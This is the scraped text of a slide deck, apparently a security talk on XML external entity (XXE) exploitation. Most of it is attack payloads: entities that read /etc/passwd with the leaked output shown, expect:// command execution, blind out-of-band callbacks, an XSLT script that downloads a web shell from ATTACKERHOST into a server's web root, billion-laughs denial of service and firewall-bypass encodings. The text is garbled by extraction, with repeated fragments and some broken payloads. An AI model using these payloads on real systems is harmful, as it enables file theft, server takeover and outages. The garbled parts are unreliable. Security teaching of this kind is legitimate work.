XXE Exploitation

@nirav4peace
@owasp_pune
XXE
Exploitation
XML
Introduction
Boring Theories :-P
Extensible Markup Language (XML) is a markup language that defines a set of rules
for encoding documents in a format that is both human-readable and machine-readable.
The World Wide Web Consortium's XML 1.0 Specification[2] of 1998[3] and several other
related specifications[4]—all of them free open standards—define XML.[5]
The design goals of XML emphasize simplicity, generality, and usability across the
Internet.[6] It is a textual data format with strong support via Unicode for different human
languages. Although the design of XML focuses on documents, the language is widely
used for the representation of arbitrary data structures[7] such as those used in web
services.
Source: Wikipedia
Important Theories :-)
● XML is case-sensitive
● Elements must have an opening and a closing tag
● Attribute values must be in quotation
● Tags must be nested correctly
● Elements has to declared in dtd file.

Attributes must be in quotation
XML version and character

encoding UTF-8
Root Nodes Elements must be in opening/closing tags
Values
<?xml version="1.0" encoding="UTF-8"?>

<root>
<name>Nirav</name>
<location>pune</location>
<org place=”Shivajinagar”>Qualys India Pvt. Ltd.</org>
<topic>XXE Exploitation</topic>
</root>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root (name,location,org,topic)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT location (#PCDATA)>
<!ELEMENT org (#PCDATA)>
<!ELEMENT topic (#PCDATA)> Declaration of elements into
]> root node.
<root>
<name>Nirav</name>
<location>Pune</location>
<org>Qualys India Pvt. Ltd.</org>
</root>
<!DOCTYPE root SYSTEM "Note.dtd">
<root>
<name>Nirav</name>
</root>
<!DOCTYPE root
[
Note.dtd
<!ELEMENT topic (#PCDATA)>
]>
<root>
<name>&name</name>
</root>
<!DOCTYPE root
[ <!ENTITY name “Nirav”>
<!ELEMENT topic (#PCDATA)>
]>
● Double Quote (“)
● Open Angular Tag (<) Using this general entities in

element values will cause error.
● Close Angular Tag (>)
● And (&)
<root>
<name>Nirav</name>
<topic>XXE Exploitation<>&</topic>
</root>
Error
<root>
<name>Nirav</name>
<topic>XXE Exploitation<![CDATA[>]]</topic>
</root>
Correct
XML XSS Payload
<![CDATA[<]]>script<![CDATA[>]]>alert(‘XSS’)<![CDATA[<
]]>/script<![CDATA[>]]>
<script>alert(‘XSS’)</script>
XXE
Exploitation
<root>
<name>Nirav</name>
</root>
<!DOCTYPE root [<!ENTITY filename SYSTEM file:///etc/passwd>]>
<root>
&filename
</root>
Demo on
Mutillidae
Demo on
bWAPP
Demo on
Portswigger
file://
ftp://
expect:// leads to RCE in server but
zlib:// PHP PECL is required in the server.
data://
glob:// <?xml version="1.0" encoding="UTF-8"?>
phar:// <!DOCTYPE root [!ENTITY filename SYSTEM expect://ls>
<root>
ssh2:// &filename
rar:// </root>
ogg://
expect://
What can we achieved from xxe?
● File Retrieval
● Access the internal files through SSRF
● Remote Code Execution
● Denial Of Service
Different
Scenarios to
Exploit
Blind XXE
<?xml version="1.0" ?>

<!DOCTYPE root [
<!ENTITY % ext SYSTEM
"http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollabora
tor.net/x"> %ext;
]>
<r></r>
POST /owasp HTTP/1.1
Host: someserver.owasp.com
Accept: application/json
Content-Type: application/json JSON to XXE
Content-Length: 38
{"search":"name","value":"owasp"}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name owasp"}

Content-Type: application/xml
Content-Length: 38
HTTP/1.1 500 Internal Server Error Error

Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseEx
ception: XML document structures must start and
end within the same entity."}}
Converting JSON to XML
<?xml version="1.0" encoding="UTF-8" ?>

<search>name</search>
<value>owasp</value>
Content-Length: 112

<root>
<value>owasp</value>
</root>
Same Result
HTTP/1.1 200 OK
Content-Length: 43
{"error": "no results for name owasp"}

Content-Length: 288 XXE Payload
<!DOCTYPE owasp [<!ENTITY xxe SYSTEM
"file:///etc/passwd" >]>
<root>
<value>&xxe;</value>
</root>
HTTP/1.1 200 OK
Content-Length: 2467
{"error": "no results for name

Result root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://VICTIM.COM/pwned">
<msxsl:script language="C#" implements-prefix="user"> Web Shell Upload
<![CDATA[
public string xml()
{
System.Net.WebClient webClient = new System.Net.WebClient();
webClient.DownloadFile("https://ATTACKERHOST/webshell.aspx",
@"c:\inetpub\wwwroot\zephrShell.aspx");
return "Shell Uploaded Successfully @ /zephrShell.aspx";

}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0"?> Billion Laugh Attack
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol9;</lolz>
Load Large System File
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///dev/random" >
]>
<data>&dos;</data>
WAF Bypass
Output will be in base64
<!DOCTYPE scan [
<!ENTITY secret SYSTEM

"php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<pass>&secret</pass>
Convert Payload in Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM

"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init;
]><foo/>
ZmlsZTovLy9ldGMvcGFzc3dk = file:///etc/passwd
Converting UTF if firewall block by unicode character
#cat file.xml | iconv -f UTF-8 -t UTF-7 > file_utf7.xml
#cat file.xml | iconv -f UTF-8 -t UTF-16 > file_utf16.xml
Source: Wallarm
Renaming root
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

https://gist.github.com/staaldraad/01415b990939494879b4
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Tools for the
Trade
https://github.com/staaldraad/xxeserv
https://github.com/lc/230-OOB
https://github.com/enjoiz/XXEinjector
https://github.com/BuffaloWill/oxml_xxe
http://www.beneaththewaves.net/Software/On_The_Outside_Reaching
_In.html

XXE Exploitation

Uploaded by

Copyright:

Available Formats

XXE Exploitation

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

XXE Exploitation

Uploaded by

Copyright:

Available Formats

@nirav4peace

● Elements must have an opening and a closing tag

● Attribute values must be in quotation

● Tags must be nested correctly

● Elements has to declared in dtd file.

XML version and character

<?xml version="1.0" encoding="UTF-8"?>

● Open Angular Tag (<) Using this general entities in

● Access the internal files through SSRF

● Remote Code Execution

<?xml version="1.0" ?>

{"error": "no results for name owasp"}

HTTP/1.1 500 Internal Server Error Error

<?xml version="1.0" encoding="UTF-8" ?>

<?xml version="1.0" encoding="UTF-8" ?>

{"error": "no results for name owasp"}

{"error": "no results for name

return "Shell Uploaded Successfully @ /zephrShell.aspx";

<!ENTITY secret SYSTEM

<!DOCTYPE test [ <!ENTITY % init SYSTEM

#cat file.xml | iconv -f UTF-8 -t UTF-7 > file_utf7.xml

#cat file.xml | iconv -f UTF-8 -t UTF-16 > file_utf16.xml

<!DOCTYPE :. SYTEM "http://"

<!DOCTYPE :_-_: SYTEM "http://"

<!DOCTYPE {0xdfbf} SYSTEM "http://"

You might also like